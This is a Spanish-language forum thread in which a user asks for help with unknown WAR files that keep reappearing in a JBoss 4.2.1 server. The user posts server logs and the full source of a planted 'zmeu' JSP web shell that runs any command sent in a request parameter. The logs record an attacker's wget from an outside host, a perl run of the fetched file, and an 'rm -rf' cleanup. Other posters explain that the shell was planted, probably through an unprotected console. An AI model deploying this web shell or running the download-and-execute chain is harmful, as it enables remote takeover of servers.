style="display:inline-block;width:728px;height:90px"
data-ad-client="ca-pub-5164839828746352"
data-ad-slot="7563230308">

¿virus en jboss?

Hola chavos

Hace un par de dias en la PC de mi casa me encontre que en el directorio de deploy de Jboss habia unos wars que yo no puse no le di importancia y solo los elimine pero volvieron aparecer me puse a revisar el log y encontre una pila de errores

2011-12-25 05:51:38,445 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/jmx-console].[HtmlAdaptor]] Servlet.service() para servlet HtmlAdaptor lanzó excepción
javax.servlet.ServletException: Original SevletResponse or wrapped original ServletResponse not passed to RequestDispatcher in violation of SRV.8.2 and SRV.14.2.5.1

2011-12-25 05:51:52,866 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/zmeu].[jsp]] Servlet.service() para servlet jsp lanzó excepción
java.io.IOException: CreateProcess: rm -rf 11.txt* error=2
                at java.lang.ProcessImpl.create(Native Method)
                at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
                at java.lang.ProcessImpl.start(ProcessImpl.java:30)
                at java.lang.ProcessBuilder.start(ProcessBuilder.java:451)
                at java.lang.Runtime.exec(Runtime.java:591)
                at java.lang.Runtime.exec(Runtime.java:429)
                at java.lang.Runtime.exec(Runtime.java:326)
                at org.apache.jsp.zmeu_jsp._jspService(zmeu_jsp.java:58)

Lo que entiendo es que se quiso ejecutar un proceso y no se logro

Buscando en Internet encontre esta página http://scoperchiatore.wordpress.com/category/jboss/ que describe esto como un virus de gusano creo

¿Alguien sabe qué onda, cómo lo puedo eliminar, a qué se debio esto?

De antemano gracias

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de ezamudio

creo que...

alguna vez me pasó algo así. No sé si es una vulnerabilidad directamente en JBoss, o en Apache o qué. Yo no encontré wars pero sí unos jsp's medio raros que servían como punto de entrada para cargar unos scripts de php. Qué versión de JBoss tienes? a mi me pasó creo que con la 4.0.5

Es probable que sea un

Es probable que sea un intento de explotar alguna vulverabilidad del sistema

Existen muchos tipos de vulnerabilidades, por ejemplo las más conocidas con SQL Injection, donde el usuario escribe un comando en el campo de "login" o "password" sabiendo que eso se va a ejecutar contra la base de datos ( para más info ver xkcd Bobby tables ) XSS ( corss site scripting ) donde se ingresa un código JavaScript con un fin similar y así hay varios más.

No necesariamente es un virus.

Para saber más al respecto consulta esta página ( https://www.owasp.org/index.php/Main_Page ) y haznos un favor, cuando encuentres de que se trata escribe en tu blog lo que aprendiste.

Ahora viendo con más cuidado tu log rm -rf 11.txt* más bien parece que así es como está tu código, entonces lo que deberías de hacer es revisar con más atentción lo que tu código esta tratando de hacer.

Saludos.

Pues

Oscar, no es un codigo que yo haya hecho pero si esta punk

Enrique: tengo Jboss 4.2.1 y para compartirles la experiencia es un jsp que ejecuta lo siguiente, ojo, aguas con la mala intencion esto solo lo pongo con fines de compartir que onda. El jsp zmeu contiene lo siguiente

<%@ page import="java.util.*,java.io.*"%> <% %>
<HTML>
<BODY>
<FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<% if (request.getParameter("comment") != null)
{ out.println("ZmEu: " + request.getParameter("comment") + "<BR>");
 Process p = Runtime.getRuntime().exec(request.getParameter("comment"));
 OutputStream os = p.getOutputStream();
 InputStream in = p.getInputStream();
 DataInputStream dis = new DataInputStream(in);
 String disr = dis.readLine();
 while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
        }
  } %>
  </pre>
  </BODY>
  </HTML>

y lo que quiso hacer es primero bajar un archivo despues ejecutarlo con perl y depues borrar todo para mi buena suerte tengo windows como SO y no estaba utilizando Linux

2011-12-25 05:51:38,445 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/jmx-console].[HtmlAdaptor]] Servlet.service() para servlet HtmlAdaptor lanzó excepción
javax.servlet.ServletException: Original SevletResponse or wrapped original ServletResponse not passed to RequestDispatcher in violation of SRV.8.2 and SRV.14.2.5.1

2011-12-25 05:51:45,382 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/zmeu].[jsp]] Servlet.service() para servlet jsp lanzó excepción
java.io.IOException: CreateProcess: wget <a href="http://ilbr44.do.am/11.txt" title="http://ilbr44.do.am/11.txt">http://ilbr44.do.am/11.txt</a> error=2
                at java.lang.ProcessImpl.create(Native Method)
                at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
                at java.lang.ProcessImpl.start(ProcessImpl.java:30)
                at java.lang.ProcessBuilder.start(ProcessBuilder.java:451)
                at java.lang.Runtime.exec(Runtime.java:591)

2011-12-25 05:51:49,632 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/zmeu].[jsp]] Servlet.service() para servlet jsp lanzó excepción
java.io.IOException: CreateProcess: perl 11.txt error=2
                at java.lang.ProcessImpl.create(Native Method)
                at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
                at java.lang.ProcessImpl.start(ProcessImpl.java:30)
                at java.lang.ProcessBuilder.start(ProcessBuilder.java:451)
                at java.lang.Runtime.exec(Runtime.java:591)
                at java.lang.Runtime.exec(Runtime.java:429)
                at java.lang.Runtime.exec(Runtime.java:326)
                at org.apache.jsp.zmeu_jsp._jspService(zmeu_jsp.java:58)

2011-12-25 05:51:52,866 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/zmeu].[jsp]] Servlet.service() para servlet jsp lanzó excepción
java.io.IOException: CreateProcess: rm -rf 11.txt* error=2
                at java.lang.ProcessImpl.create(Native Method)
                at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
                at java.lang.ProcessImpl.start(ProcessImpl.java:30)
                at java.lang.ProcessBuilder.start(ProcessBuilder.java:451)
                at java.lang.Runtime.exec(Runtime.java:591)
                at java.lang.Runtime.exec(Runtime.java:429)
                at java.lang.Runtime.exec(Runtime.java:326)
                at org.apache.jsp.zmeu_jsp._jspService(zmeu_jsp.java:58)

Básicamente lo que está diciendo es que un WAR que no puse yo quiso ejecutar un proceso

Pero los borro( los wars) y siguen apareciendo despues de un tiempo

Si alguien me ayuda gracias

Ahhh pues esto es un triple

Ahhh pues esto es un triple tache:

 Process p = Runtime.getRuntime().exec(request.getParameter("comment"));

Lo que dice es: "Ejecute aquí cualquier comando ( incluso borrar el archivos )"

Lo de suerte que es Windows pueeeeees... digamos que es cuestión de tiempo ( ejem, erase 11.txt en vez de rm 11.txt )

Así que NO es un bug, es una omisión de tu parte ( lo bueno es que ahora lo sabes )

Específicamente lo que estás haciendo esta descrito aquí:

https://www.owasp.org/index.php/Process_Control

Imagen de ezamudio

Oscar

Creo que no has entendido el punto. Ese JSP no lo hizo el autor de este post, "apareció" en su JBoss. La idea de ese script es crear el proceso que diga el parámetro comment, ejecutarlo y todo lo que salga de su STDOUT imprimirlo en la página resultante.

Creo que sí era esa versión, 4.2, donde tuve una bronca similar, nomás que los JSP que yo encontré tenían ya el comando fijo, un wget y un perl. Y creo creo que la bronca es cuando no proteges la consola de JBoss (nosotros nos confiamos porque no es visible directamente porque estaba JBoss atrás de un Apache pero pues de alguna forma le encontraron para meter esos archivos ahí, nunca supe bien si fue vulnerabilidad de JBoss o de Apache).

entonces ¿crees que con una actualizacion?

Enrique entonces ¿crees que con una actualizacion de Jboss quede solucionado ? por ejemplo jboss 5 algo asi; mi consola si la tengo configurada para que pida un usuario y contraseña

¿Recuerdas como solucionaron el problema cuando se te presento?

Gracias

Imagen de ezamudio

no sé

La solución que aplicaron en mi caso fue reinstalar todo el sistema operativo, porque no sabíamos a qué grado estaba comprometido ya. No sé si con eso instalaron un JBoss más nuevo, pero creo que la bronca en este caso era más bien con Apache, que sí lo actualizaron y no volvimos a tener el problema.

style="display:inline-block;width:728px;height:90px"
data-ad-client="ca-pub-5164839828746352"
data-ad-slot="7563230308">